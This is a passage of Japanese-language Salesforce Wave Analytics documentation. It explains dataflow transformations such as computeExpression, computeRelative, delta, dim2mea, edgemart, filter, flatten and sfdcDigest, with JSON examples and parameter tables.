"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{"name": "Amount"},
{"name": "Id"}]}},

"Derived_Fields": {
"action": "computeExpression",
"parameters": {

"source": "salesData",
"mergeWithSource": true,
"computedFields": [

{
"name": "ModifiedId",
"type": "Text",
"saqlExpression": "\"SFDC\" + Id"},
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{
"name": "SalesTax",
"type": "Numeric",
"precision": 18,
"defaultValue": "0",
"scale": 5,
"saqlExpression": "Amount * 0.08"},

{
"name": "FinalPrice",
"type": "Numeric",
"precision": 18,
"defaultValue": "0",
"scale": 5,
"saqlExpression": "Amount + SalesTax"},

{
"name": "ValueCategory",
"type": "Text",
"saqlExpression": "

case
when FinalPrice < 1000 then \"Low\"
when FinalPrice >= 1000 and FinalPrice < 2000 then \"Medium\"
else \"High\"

end"}
]

}
},
"Register_CategorizedSales": {

"action": "sfdcRegister",
"parameters": {

"alias": "Categorized_Sales",
"name": "Categorized_Sales",
"source": "Derived_Fields" }

}
}

computeExpression パラメータ
computeExpression 変換を定義する場合は、アクション属性を computeExpression に設定します。値の生
成に使用される入力ソースと式のパラメータも指定します。

computeExpression パラメータ
computeExpression変換を定義する場合は、アクション属性を computeExpression に設定します。値の生成に
使用される入力ソースと式のパラメータも指定します。
パラメータは、computeExpression ノードの parameters および computedFields セクションで指定できます。

Parameters

次の表では、parameters セクションのパラメータについて説明します。
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値必須項目パラメータ

この変換の入力ソースを識別する、
データフロー定義ファイル内のノー
ド。

はいsource

作成されるデータセットで入力項
目が派生項目と共に含まれるかど

いいえmergeWithSource

うかを示します。true の場合、作成
されるデータセットには、ソース
からのすべての入力項目と新しく
生成された派生項目が含まれます。
false の場合、作成されるデータセッ
トには派生項目のみが含まれます。
デフォルトは true です。

データセットの派生項目を生成す
るために使用される、属性と式。

はいcomputedFields

「computedFields」を参照してくださ
い。

computedFields

次の表では、computedFields セクションの属性について説明します。項目メタデータを上書きするために
指定できる、省略可能な属性についても説明します。これにより、データセットに異なるデータが表示される
ようになります。たとえば、Wave は項目の null 値をデフォルト値で置き換えることができます。

値必須項目パラメータ

生成された項目の API 名。はいname

メモ:  API 名は一意にする必要
があります。一意でない場
合、データフローの実行は失
敗します。

項目と関連付けられたWave Analytics

データ型。有効な型は、Text、
Numeric、または Date です。

はいtype

例:

"type": "Text"

Wave ユーザインターフェースに表
示される、生成された項目の表示

いいえlabel
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値必須項目パラメータ

名。255 文字まで入力できます。指
定されていない場合、デフォルト
の入力項目名に設定されます。

派生項目の値を計算するために使
用する SAQL 式。式は、変換の入力

はいsaqlExpression

項目または他の派生項目を基に計
算できます。
例:

"saqlExpression":"toDate(birth_day,
\"yyyy-M-d\")"

派生日付項目の形式。形式につい
ての詳細は、「外部データのメタ

はい (日付項目のみが対象)format

データ形式リファレンス」を参照
してください。

数値の最大桁数、またはテキスト
値の長さ。数値の場合、小数点の

はい (数値項目のみが対象)precision

右側と左側の両方をあわせたすべ
ての桁数 (ただし小数点自体は含ま
ない) が含まれます。値は 1 ～ 18 (こ
の値は範囲に含まれる) である必要
があります。テキスト値の場合、
デフォルト値は 255 文字です。1 ～
32,000 (この値は範囲に含まれる) 文
字である必要があります。
例:

"precision": 10

数値の小数点の右側の桁数。
precision の値より小さくします。値

はい (数値項目のみが対象)scale

は 0 ～ 17 (この値は範囲に含まれる)

文字である必要があります。
例:

"scale": 2

null が有効なテキスト項目および数
値項目が対象。指定された項目の

いいえdefaultValue
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値必須項目パラメータ

null 値と置き換えるデフォルト値で
す。

関連トピック:

computeExpression 変換

computeRelative 変換
computeRelative 変換を使用すると、他の行の値に基づく派生項目をデータセットに追加して、データのトレン
ドを分析することができます。たとえば、販売パイプラインのトレンドを分析するために、商談が各フェーズ
に滞在した日数を計算する派生項目を作成できます。また、商談のフェーズを通じて商談金額の変化を計算す
ることもできます。

メモ: computeExpression 変換と computeRelative 変換は似ていますが、computeExpression 変換では同じ行内の
項目に基づいて計算が実行されます。computeRelative変換では、他の行 (特に、現在の行、最初の行、前の
行、または次の行) の同じ項目に基づいて計算が実行されます。

computeRelative 変換を定義する場合は、入力としてソース変換を指定し、レコードをパーティションに分け、
各パーティション内のレコードを並び替えます。たとえば、sfdcDigestを使用して商談履歴レコードを抽出し、
computeRelative を使用して各商談の経時的な変化を計算できます。商談レコードを商談 ID ごとのパーティショ
ンに分け、各パーティション内のレコードを時系列で並び替えて、前の値と次の値を正しく識別できます。

例: 例を見てみましょう。販売パイプラインのトレンド分析を実行するために、次の変換を含むデータフ
ローを作成します。
sfdcDigest 変換

OpportunityHistory オブジェクトから次のデータを抽出します。

computeRelative 変換
次のタスクを実行します。
• 抽出したレコードを商談 ID ごとのパーティションに分ける。
• 各パーティション内で、抽出したレコードを CreatedDate の昇順に並び替える。CreatedDate によって

並び替えることにより、各商談の変化が時系列に表示されます。
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• 最終的なデータセットに次の派生項目を追加する。
OpportunityCreatedDate

商談が最初に作成された日付を決定します。この日付と実際の完了日を併せて使用して、商談
の成立に要した日数を判断できます。目標は、収益を認識するまでの販売サイクルを短縮する
ことです。

ValidToDate

商談の状態の有効期限を決定します。この項目を使用して、各レコードの商談の詳細が有効な
期間を判断できます。

AmountPrev

商談の以前の金額を決定します。この項目を使用して、商談の価値が増加しているか減少して
いるかを判断できます。これは、販売目標を達成できるかどうかに影響を与えます。

CloseDatePrev

商談の以前の完了予定日を決定します。この項目を使用して、商談の販売サイクルを通じて、
完了予定日がどのように変化するかを分析できます。完了予定日の延期が続いている場合は、
販売サイクルが長引く原因となっている問題を特定する必要があります。

sfdcRegister 変換
sfdcDigest 変換で抽出された項目と computeRelative 変換の派生項目が含まれる最終的なデータセットを
登録します。

次のデータフロー定義を作成します。
{

"extractOppHistory": {
"action": "sfdcDigest",
"parameters": {

"object": "OpportunityHistory",
"fields": [

{"name": "OpportunityId"},
{"name": "CreatedDate"},
{"name": "StageName"},
{"name": "Amount"},
{"name": "CloseDate"}

]
}

},
"computeTrending": {

"action": "computeRelative",
"parameters": {

"partitionBy": ["OpportunityId"],
"orderBy": [

{
"name":"CreatedDate",
"direction":"asc"

}
],
"computedFields": [

{
"name": "OpportunityCreatedDate",
"expression": {
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"sourceField": "CreatedDate",
"offset": "first()",
"default": "current()"

}
},
{

"name": "ValidToDate",
"expression": {

"sourceField": "CreatedDate",
"offset": "next()",
"default": "3000-01-01T00:00:00.000Z"

}
},
{

"name": "AmountPrev",
"expression": {

"sourceField": "Amount",
"offset": "previous()",
"default": "0"

}
},
{

"name": "CloseDatePrev",
"expression": {

"sourceField": "CloseDate",
"offset": "previous()",
"default": "01/01/1970"

}
}

],
"source": "extractOppHistory"

}
},
"Register_OppportunityHistory_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "SalesPipelineTrending",
"name": "Sales Pipeline Trending",
"source": "computeTrending"

}
}

}

データフローが実行され、次のデータセットが作成されます。
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レコードは、商談 ID ごとにパーティションに分けられ、各パーティション内で CreatedDate 項目に基づく
昇順に並び替えられています。Wave では、各パーティション内の前の行や次の行を使用して、データセッ
ト内の項目値の変化を調べられるようになりました。

computeRelative のパラメータ
computeRelative変換を定義する場合は、アクション属性を computeRelativeに設定します。入力ソース、
パーティション基準項目、並び替え項目、および派生項目を定義するパラメータも指定します。

computeRelative のパラメータ
computeRelative変換を定義する場合は、アクション属性を computeRelativeに設定します。入力ソース、パー
ティション基準項目、並び替え項目、および派生項目を定義するパラメータも指定します。
パラメータは、computeRelative ノードの次のセクションで指定できます。

パラメータ
次の表では、parameters セクションのパラメータについて説明します。

値必須項目パラメータ

この変換の入力ソースを識別する、データフロー定義ファイル
内のノード。

はいsource

データセット内のレコードをパーティションに分けるために使
用される項目の API 名。パーティション基準項目は 1 つだけ指定
します。

はいpartitionBy

各パーティション内のレコードの並び替えに使用される項目、
および昇順 (asc) または降順 (desc) の並び替え順。並び替え項目
は 1 つだけ指定します。

はいorderBy

例:

"orderBy": [
{

"name":"CreatedDate",
"direction":"asc"
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値必須項目パラメータ

}
]

派生項目の定義のリスト。はいcomputedFields

例:

"computedFields": [
{

"name": "OpportunityCreatedDate",
"expression": {

"sourceField": "CreatedDate",
"offset": "first()",
"default": "current()"

}
},
{

"name": "AmountPrev",
"expression": {

"sourceField": "Amount",
"offset": "previous()",
"default": "0"

}
}

]

「computedFields」を参照してください。

computedFields

次の表では、computedFields セクションの属性について説明します。

値必須項目パラメータ

データセットに追加する派生項目のAPI 名。この名前は、データ
セット内で一意の名前にします。

はいname

メモ: 名前が一意でない場合、データフローの実行に失敗
します。

派生項目の値を計算するために使用される式の属性。式は、変
換の入力項目または他の派生項目を基に計算できます。

はいexpression

例:

"expression": {
"sourceField": "CloseDate",
"offset": "previous()",
"default": "01/01/1970"
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値必須項目パラメータ

「expression」を参照してください。

expression

次の表では、expression セクションの属性について説明します。

値必須項目パラメータ

式で使用されるソースノードからの入力項目の API 名。はいsourceField

式に使用される関数。次の関数を使用できます。
current()

現在のレコードから値を取得します。

はいoffset

例:

"offset": "current()"

first()

パーティション内の最初のレコード (商談の最初の CreateDate

など) から値を取得します。
例:

"offset": "first()"

next()

次のレコードから値を取得します。
例:

"offset": "next()"

previous()

前のレコードから値を取得します。
例:

"offset": "previous()"

メモ: 派生項目は定義された順に計算されます。派生項目
の計算は、別の派生項目の値に基づいて行うこともできま
すが、その派生項目が定義済みである必要があります。た
とえば、next() は、次の行の派生項目の値にアクセスす
ることはできません。

ヒント: computeRelative変換では、previous() 関数および
next() 関数を使用するときに正しい結果を得るには、レ
コードを並び替える必要があります。
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値必須項目パラメータ

値を計算できない場合のデフォルト値。たとえば、前の値また
は次の値が存在しない場合のデフォルト値を指定できます。デ
フォルト値として定数値または current() を挿入できます。

はい (数値項目のみ
が対象)

デフォルト

例:

"default": "3000-01-01T00:00:00.000Z"

"default": "current()"

delta 変換
delta変換では、経時に伴うデータセットの基準列の値の変化を計算します。delta変換では、データセットの出
力列を生成して各レコードのデルタを保存します。デルタを作成することで、ビジネスアナリストがクエリで
デルタを利用しやすくなります。
delta変換では、各レコードの値を以前のレコードの値と比較して各デルタ値を計算します。レコードが一定順
序に並んでいるとは限らないため、delta変換では、デルタ値を計算する前にレコードを並び替えます。このた
めに、変換はデータを指定されたディメンション、続いてエポック日付列で並び替えます。

メモ: Wave Analyticsでは、日付を処理するとき、処理された日付ごとに次のエポック日付列を作成します。

説明エポック時間列

たとえば、日付列が CloseDate の場合、生成される
エポック秒列は CloseDate_sec_epoch になります。こ

<date_column_name>_sec_epoch

の列では、1970 年 1 月 1 日 (深夜 UTC/GMT) からの経
過秒数が提供されます。

たとえば、日付列が CloseDate の場合、生成される
エポック日列は CloseDate_day_epoch になります。こ

<date_column_name>_day_epoch

の列では、1970 年 1 月 1 日 (深夜 UTC/GMT) からの経
過日数が提供されます。

例: 例を見てみましょう。OpportunityHistory オブジェクトの商談履歴が含まれる OppHistoryDelta データセッ
トを作成し、商談金額のデルタも計算します。
OpportunityHistory オブジェクトには次のデータが含まれます。

Amount (金額)StageNameCloseDateOpportunityId

100New2014 年 1 月 1 日1

100New2014 年 1 月 1 日2
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Amount (金額)StageNameCloseDateOpportunityId

200ClosedWon2014 年 2 月 1 日2

100ClosedWon2014 年 3 月 1 日1

次のデータフロー定義を作成します。
{

"Extract_Opportunities": {
"action": "sfdcDigest",
"parameters": {

"object": "OpportunityHistory",
"fields": [

{ "name": "OpportunityId" },
{ "name": "CloseDate" },
{ "name": "StageName" },
{ "name": "Amount" }

]
}

},
"Calculate_Delta": {

"action": "delta",
"parameters": {

"dimension": "OpportunityId",
"epoch": "CloseDate_day_epoch",
"inputMeasure": "Amount",
"outputMeasure": "DeltaAmount",
"source": "Extract_Opportunities"

}
},
"Register_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "OppHistoryDelta",
"name": "OppHistoryDelta",
"source": "Calculate_Delta"

}
}

}

商談金額ごとにデルタ値を計算するには、delta変換でレコードをディメンション (OpportunityId)、続いて時
間 (CloseDate_day_epoch) で次のように並び替えます。

Amount (金額)StageNameCloseDateOpportunityID

100New2014 年 1 月 1 日1

100ClosedWon2014 年 3 月 1 日1

100New2014 年 1 月 1 日2

200ClosedWon2014 年 2 月 1 日2
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変換では、レコードの並び替え後、ディメンション (OpportunityId) ごとに前の値と次の値が比較されて各
レコードのデルタ値が求められます。さらに次のデータセットが作成されます。

DeltaAmountAmount (金額)StageNameCloseDateOpportunityId

0100New2014 年 1 月 1 日1

0100ClosedWon2014 年 3 月 1 日1

0100New2014 年 1 月 1 日2

100200ClosedWon2014 年 2 月 1 日2

変換では、各ディメンションの最初のレコードに、デルタ値として「0」が挿入されます。

メモ: 商談に同じ日に行われた複数の変更が含まれている場合は、レコードをより詳細な時間単位で
並び替える必要があります。この場合は、CloseDate_sec_epoch 列で並び替えます。そうしないとレ
コードが正確に並ばず、誤ったデルタ値が求められる場合があります。

delta パラメータ
delta 変換を定義する場合は、アクション属性を delta に設定してパラメータを指定します。

delta パラメータ
delta 変換を定義する場合は、アクション属性を delta に設定してパラメータを指定します。
次の表では、入力パラメータについて説明します。

値必須項目パラメータ

デルタ値の計算時にレコードの並
び替えに使用するデータセット内
のディメンション列。

はいdimension

デルタ値の計算時にレコードの並
び替えに使用するデータセット内
のエポック日付列。

はいepoch

デルタ計算の基準項目。はいinputMeasure

デルタ値が含まれる出力列の名前。はいoutputMeasure

デルタ列の追加先となるデータセッ
トが含まれる、データフロー定義
ファイル内のノード。

はいsource

関連トピック:

delta 変換
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dim2mea 変換
dim2mea変換では、ディメンションに基づいて新しい基準を作成します。この変換では、データセットに新し
い基準列を追加します。また、ディメンションを保持して、そのディメンションを使用する既存のレンズと
ダッシュボードがリンク切れにならないようにします。
変換でディメンションから基準を作成できない場合、指定されたデフォルト値が基準に入力されます。デフォ
ルト値が指定されていない場合は、「0」が挿入されます。

例: 例を見てみましょう。Opportunity オブジェクトにはカスタムテキスト項目 StageVal__c が含まれます。
この項目には特定のフェーズの商談金額が含まれます。これはテキスト項目であるため、Wave Analyticsで
はこのデータがディメンションとして読み込まれます。ただし、このディメンションから基準を作成す
ることで、ユーザがフェーズ金額に基づいて計算を実行できるようになります。
次のデータフロー定義を作成します。
{

"Extract_Opportunities": {
"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "AccountId" },
{ "name": "StageVal__c" }

]
}

},
"Create_Measure_From_Dimension": {

"action": "dim2mea",
"parameters": {

"dimension": "StageVal__c",
"measure": "StageValue",
"measureDefault": "0",
"measureType": "long",
"source": "Extract_Opportunities"

}
},
"Register_The_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "OpportunitiesWithConvertedMeasure",
"name": "OpportunitiesWithConvertedMeasure",
"source": "Create_Measure_From_Dimension"

}
}

}
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dim2mea パラメータ
dim2mea 変換を定義する場合は、アクション属性を dim2mea に設定してパラメータを指定します。

dim2mea パラメータ
dim2mea 変換を定義する場合は、アクション属性を dim2mea に設定してパラメータを指定します。
次の表では、入力パラメータについて説明します。

値必須項目パラメータ

基準の作成元であるデータセット
のディメンション列。

はいdimension

出力基準の名前。この列名は、デー
タセット内で一意にする必要があ

はいmeasure

ります。変換ではデータセット内
のディメンションが保持されるた
め、ディメンションと同じ名前を
使用しないでください。

変更がディメンションから基準を
作成できない場合の基準のデフォ
ルト値。

はいmeasureDefault

基準のデータ型。有効値:“long”はいmeasureType

基準の追加先となるデータセット
が含まれる、データフロー定義ファ
イル内のノード。

はいsource

関連トピック:

dim2mea 変換

edgemart 変換
edgemart 変換では、Salesforce データ、外部データ、またはこれら 2 つの組み合わせが含まれる既存の登録済み
データセットへのアクセス権をデータフローに付与できます。この変換を使用すると、データセットを参照し
てそのデータをデータフロー内の後続の変換で使用できます。この変換と augment 変換を併用して、既存の
データセットを新規データセットと結合できます。
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例: 例を見てみましょう。最終的な売上金額を商談金額と比較して、商談を成立させるために多額の割引
が行われたかどうかを判別します。FinalSales データセットは以前作成し、登録済みです。FinalSales データ
セットには、完了して成立した商談ごとに最終売上金額が含まれています。

表 69 : FinalSales データセット
SaleAmountStageNameUpdateDateOppID

100,000ClosedWon2014 年 1 月 1 日1

150,000ClosedWon2013 年 11 月 1 日2

200,000ClosedWon2014 年 2 月 1 日3

次に、Opportunity オブジェクトの商談情報が含まれるデータセットを作成します。その後で、既存の
FinalSales データセットのデータを Opportunity データセットと結合します。
次のデータフロー定義を作成します。
{

"Extract_Opportunities": {
"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" }

]
}

},
"Extract_Final_Sales_Data": {

"action": "edgemart",
"parameters": { "alias": "FinalSales" }

},
"Combine_Opportunities_FinalSales": {

"action": "augment",
"parameters": {

"left": "Extract_Opportunities",
"left_key": [ "Id" ],
"relationship": "Opportunity",
"right": "Extract_Final_Sales_Data",
"right_key": [ "OppID" ],
"right_select": [ "SaleAmount" ]

}
},
"Register_Opportunity_FinalSales_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "OpportunityVersusFinalSales",
"name": "OpporunityVersusFinalSales",
"source": "Combine_Opportunities_FinalSales"

}
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}
}

edgemart パラメータ
edgemart 変換を定義する場合は、アクション属性を edgemart に設定してパラメータを指定します。

edgemart パラメータ
edgemart 変換を定義する場合は、アクション属性を edgemart に設定してパラメータを指定します。
次の表では、入力パラメータについて説明します。

値必須項目パラメータ

データの抽出元であるデータセッ
トの API 名。データセットの API 名

はいalias

を判別するには、データセットを
編集してシステム名を表示します。

関連トピック:

edgemart 変換

filter 変換
filter変換では、既存のデータセットからレコードを削除します。データセットに保持されるレコードを指定す
る絞り込み条件を定義します。

例: 例を見てみましょう。「Closed Won」(商談成立) の商談のみが含まれるデータセットを作成します。ま
ず、Opportunity オブジェクトからすべての商談を抽出します。次に、フェーズ名が Closed Won の商談のみ
が含まれるようにレコードを絞り込みます。
次のデータフロー定義を作成します。
{

"Extract_Opportunities": {
"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "AccountId" },
{ "name": "OwnerId" }

]
}

},
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"Filter_Opportunities": {
"action": "filter",
"parameters": {

"filter": "StageName:EQ:Closed Won",
"source": "Extract_Opportunities"

}
},
"Register_My_Won_Oppportunities_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "MyWonOpportunities",
"name": "MyWonOpportunities",
"source": "Filter_Opportunities"

}
}

}

filter パラメータ
filter 変換を定義する場合は、アクション属性を filter に設定してパラメータを指定します。
filter 式の構文
データセット内の 1 つ以上のディメンションに基づいて filter 変換の filter 式を作成できます。

filter パラメータ
filter 変換を定義する場合は、アクション属性を filter に設定してパラメータを指定します。
次の表では、入力パラメータについて説明します。

値必須項目パラメータ

新しいデータセットに含めるレコー
ドを指定する filter 式。「filter 式の構
文」を参照してください。

はいfilter

絞り込むデータセットが含まれる、
データフロー定義ファイル内のノー
ド。

はいsource

関連トピック:

filter 変換

filter 式の構文
データセット内の 1 つ以上のディメンションに基づいて filter 変換の filter 式を作成できます。

メモ:  filter 式での文字列比較では、大文字と小文字が区別されます。

次の種別の filter 式を使用できます。
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説明filter 式の構文

ディメンションと値が等しい場合は true。dim:EQ:value

例: "filter": "StageName:EQ:Closed Won"

左のディメンションが val0 から val1 までの指定範囲内
にある場合は true。

dim:R:val0:val1

例: "filter": "EmployeeId:R:100:1000"

バイナリの並び順に基づいてディメンションが値以上
の場合は true。たとえば、ディメンションが「City」、

dim:R:val

値が「Anderson」の場合は、「City」>「Anderson」であ
るため true になります。
例: "filter": "LastName:R:Li"

バイナリの並び順に基づいてディメンションが値以下
の場合は true。

dim:R::val

例: "filter": "LastName:R::Levy"

ディメンションと値が等しくない場合は true
dim:N:val

例: "filter": "RoleName:N:Manager"

ディメンションが値 val1 または val2 と等しい場合は
true。この filter 式では論理 OR 演算子 ( | ) を使用します。

dim:EQ:val1|val2

ディメンション値は、複数の値と比較できます。たと
えば、3 つの値と比較するには、構文
dim1:EQ:val1|val2|val3 を使用します。
例: "filter": "Lead
Status:EQ:Open|Contacted"

ディメンション dim1 と値 val1 が等しく、かつディメ
ンション dim2 と値 val2 が等しい場合は true。この filter

dim1:EQ:val1,dim2:EQ:val2

式では論理 AND 演算子 (,) を使用します。3 つ以上の
ディメンションを比較できます。たとえば、3 つの
ディメンションを比較するには、構文
dim1:EQ:val1,dim2:EQ:val2,dim3:EQ:val3 を使用します。

4457

データインテグレーション分析



説明filter 式の構文

例: "filter": "Lead
Status:EQ:Qualified,Rating:EQ:Hot"

関連トピック:

filter 変換

flatten 変換
flatten 変換では階層データをフラット化します。たとえば、Salesforce ロール階層をフラット化し、ロール階層
に基づいてデータセットに行レベルセキュリティを実装できます。
flatten 変換を設定して階層をフラット化する場合は、階層内のすべてのノードが含まれる項目と、階層に基づ
いてそれらに対応する親が含まれる項目を指定します。flatten 変換では、階層ノードごとに 1 件のレコードが
生成されます。これを「セルフ ID」と呼びます。各レコードには生成された 2 つの列が含まれ、セルフ ID ノー
ドごとに階層が保存されます。一方の列には、階層内のノードごとにすべての上位ロールのカンマ区切りリス
トが含まれます。もう一方の列には、階層パスが含まれます。
上位ロールがどのように保存されるかは、次のフラット化されたデータセットのロール (Roles) 列とロールパス
(RolePath) 列を参照してください。

RolePathロール親ロール IDロール名ロール ID (セルフ ID)

\10\20\3010,20,3010Salesperson 1 (営業担当
者 1)

1

\10\20\3010,20,3010Salesperson 2 (営業担当
者 2)

2

\11\20\3011,20,3011Salesperson 3 (営業担当
者 3)

3

\20\3020,3020Regional Manager 1 (地
域マネージャ 1)

10

\20\3020,3020Regional Manager 2 (地
域マネージャ 2)

11

\303030Vice President 1 (副社長
1)

20

\303030Vice President 2 (副社長
2)

21

該当なし該当なし該当なしCEO30

生成された階層の列にセルフ ID ノードを含めるように、flatten 変換を設定することもできます。次のデータ
セットでは、セルフ ID を太字で表示しています。
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RolePathロール親ロール IDロール名ロール ID (セルフ ID)

\1\10\20\301, 10, 20, 3010Salesperson 1 (営業担当
者 1)

1

\2\10\20\302, 10, 20, 3010Salesperson 2 (営業担当
者 2)

2

\3\11\20\303, 11, 20, 3011Salesperson 3 (営業担当
者 3)

3

\10\20\3010,20, 3020Regional Manager 1 (地
域マネージャ 1)

10

\11\20\3011,20, 3020Regional Manager 2 (地
域マネージャ 2)

11

\20\3020,3030Vice President 1 (副社長
1)

20

\21\3021,3030Vice President 2 (副社長
2)

21

3030該当なしCEO30

例: 例を見てみましょう。すべての商談が含まれるデータセットを作成します。商談ごとに、商談所有者
に関するユーザおよびロール情報を含めます。また、ロール階層に基づいて行レベルセキュリティを実
装するために、各商談レコードにはロール階層に基づいて各商談所有者のすべての上位ロールも含める
必要があります。上位ロールのリストを生成するには、flatten変換を使用してロール階層をフラット化し
ます。
次のデータフロー定義ファイルを作成します。

{
"Extract_Opportunity": {

"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "AccountId" },
{ "name": "OwnerId" }

]
}

},
"Extract_User": {

"action": "sfdcDigest",
"parameters": {
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"object": "User",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Department" },
{ "name": "UserRoleId" }

]
}

},
"Extract_UserRole": {

"action": "sfdcDigest",
"parameters": {

"object": "UserRole",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "ParentRoleId" }

]
}

},
"Flatten_UserRole": {

"action": "flatten",
"parameters": {

"source": "Extract_UserRole",
"self_field": "Id",
"parent_field": "ParentRoleId",
"multi_field": "Roles",
"path_field": "RolePath",
"include_self_field":false

}
},
"Augment_User_FlattenUserRole": {

"action": "augment",
"parameters": {

"left": "Extract_User",
"left_key": [ "UserRoleId" ],
"relationship": "Role",
"right": "Flatten_UserRole",
"right_key": [ "Id" ],
"right_select": [

"Id",
"Name",
"Roles",
"RolePath"

]
}

},
"Augment_Opportunity_UserWithRoles": {

"action": "augment",
"parameters": {

"left": "Extract_Opportunity",
"left_key": [ "OwnerId" ],
"right": "Augment_User_FlattenUserRole",
"relationship": "Owner",
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"right_select": [
"Name",
"Department",
"Role.Id",
"Role.Name",
"Role.Roles",
"Role.RolePath"

],
"right_key": [ "Id" ]

}
},
"Register_OpportunityWithRoles_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "OppRoles",
"name": "OppRoles",
"source": "Augment_Opportunity_UserWithRoles",
"rowLevelSecurityFilter": "'Owner.Role.Roles' == \"$User.UserRoleId\" || 'OwnerId'

== \"$User.Id\""
}

}
}

Salesforce ロール階層をフラット化するために、flatten 変換では UserRole オブジェクトから次の入力項目を
使用します。
Id

Id は Salesforce ロール階層の各ノードを識別します。
ParentRoleId

ParentRoleId は、ロール階層の定義に従い親を識別します。
flatten 変換では、UserRole オブジェクトで各親-子リレーションをトラバースした後、ロール ID ごとに 1 件
のレコードを生成します。各レコードには、階層内のロールごとにすべての上位ロールが含まれます。
flatten 変換では、Roles と RolePath の 2 つの出力列を生成して、ロールごとのすべての上位ロールを保存し
ます。

flatten パラメータ
flatten 変換を定義する場合は、アクション属性を flatten に設定してパラメータを指定します。

flatten パラメータ
flatten 変換を定義する場合は、アクション属性を flatten に設定してパラメータを指定します。
次の表では、入力パラメータについて説明します。

値必須項目パラメータ

生成された multi_field 列と path_field 列にセルフ ID ノー
ドを含めるかどうかを示します。有効な値は、false

(デフォルト) と true です。

いいえinclude_self_id
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値必須項目パラメータ

階層内の各ノードを識別する入力項目の名前。はいself_field

階層の各ノードの直接の親を識別する入力項目の名
前。たとえば、ロール階層内では Regional Manager 1 (地

はいparent_field

域マネージャ 1) ロールが、Salesperson 1 (営業担当者 1)

ロールの親です。

階層内のレベルの低い順ですべての上位ロールのリス
トが含まれる複数値出力項目の名前。flatten変換では、

はいmulti_field

階層内のノードごとにこの項目を生成し、上位ロール
のリストを生成します。たとえば、Salesperson 1 ロー
ルの場合、上位ロールの階層は Sales Manager 1,
Regional Manager 1, Vice President 1, CEO

になります。

バックスラッシュで区切られた複数項目が含まれる項
目の文字列表現。この出力項目には、レベルの低い順

はいpath_field

に階層内のすべての上位ロールの階層パスが含まれま
す。flatten 変換は、階層内のノードごとにこの項目を
生成し、上位ロールのパスを生成します。たとえば、
ロール階層内の salesperson (営業担当者) ノードの場合、
値は Sales Manager 1\Regional Manager 1\Vice

President 1\CEO になります。

フラット化する階層データが含まれる、データフロー
定義ファイル内のノード。このノードは、この変換の

はいsource

入力ソースであり、self_field および parent_field に対応
付けられる入力項目が含まれている必要があります。

メモ: デフォルトでは、multi_field および path_field 項目は、ユーザインターフェースには表示されないシ
ステム項目として作成されます。これらの項目をユーザインターフェースに表示するには、flatten変換の
項目ごとに IsSystemField メタデータ属性を false に設定します。メタデータ属性についての詳細
は、「変換で生成されるメタデータの上書き」を参照してください。

関連トピック:

flatten 変換

sfdcDigest 変換
sfdcDigest変換では、Salesforce オブジェクトから抽出したデータに基づいてデータセットを生成します。ユーザ
は、データの抽出元にする Salesforce オブジェクトおよび項目を指定する必要があります。また、機密情報が含
まれる項目や分析との関連性がない項目など、特定の項目を除外することもできます。

4462

データインテグレーション分析



データフロー定義ファイルをアップロードするとき、Wave Analyticsが、ファイルをアップロードしたユーザの
ユーザプロファイルに基づいて Salesforce オブジェクトおよび項目へのアクセス権を検証します。ユーザプロ
ファイルに項目またはオブジェクトへの参照アクセス権がない場合、アップロードは失敗します。
実行時、Wave Analytics はデータフローをインテグレーションユーザとして実行します。また、インテグレー
ションユーザのユーザプロファイルに基づいて Salesforce オブジェクトおよび項目へのアクセス権を検証しま
す。たとえば、インテグレーションユーザには参照アクセス権のないカスタム項目からデータフローがデータ
を抽出しようとすると、データフロージョブは失敗します。

メモ: インテグレーションユーザは、Wave Analytics が組織で有効化されるときに作成される事前設定され
たユーザです。ユーザまたはインテグレーションユーザに Salesforce オブジェクトまたは項目への権限が
必要な場合は、アクセス権を付与するようにシステム管理者に依頼してください。

Wave Analytics の事前設定ユーザについての詳細は、『Wave Analytics セキュリティ実装ガイド』を参照してくだ
さい。

例: 例を見てみましょう。Opportunity オブジェクトのすべての商談情報が含まれるデータセットを作成し
ます。
次のデータフロー定義を作成します。
{

"Extract_Opportunities": {
"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "AccountId" },
{ "name": "OwnerId" },
{ "name": "OpportunitySupportTeamMembers__c" }

]
}

},
"Register_Opportunities_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "Opportunities",
"name": "Opportunities",
"source": "Extract_Opportunities"

}
}

}

sfdcDigest 変換を使用するときの考慮事項
• データを抽出するときには、データセットのストレージ制限について考慮します。たとえば、データセッ

ト内の項目数は最大5,000に制限されているため、項目を選択するときは注意して選択してください。「Wave

Analytics の制限」を参照してください。
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• sfdcDigest 変換では Salesforce オブジェクトからデータを抽出するために SOQL クエリを実行するため、SOQL

に関する制限の対象となります。クエリがそれらの制限を超えると、結果を返さないか、データフロージョ
ブが失敗する可能性があります。たとえば、SOQL クエリの長さは、20,000 文字以下にする必要があります。
SOQL クエリの長さを短くするには、抽出を複数の sfdcDigest 変換に分割し、augment 変換を使用して結果を
結合します。たとえば、1 つの sfdcDigest 変換を作成して項目の半分を抽出し、もう 1 つの sfdcDigest 変換を
作成して残りの項目を抽出します。「SOQL と SOSL の制限」を参照してください。

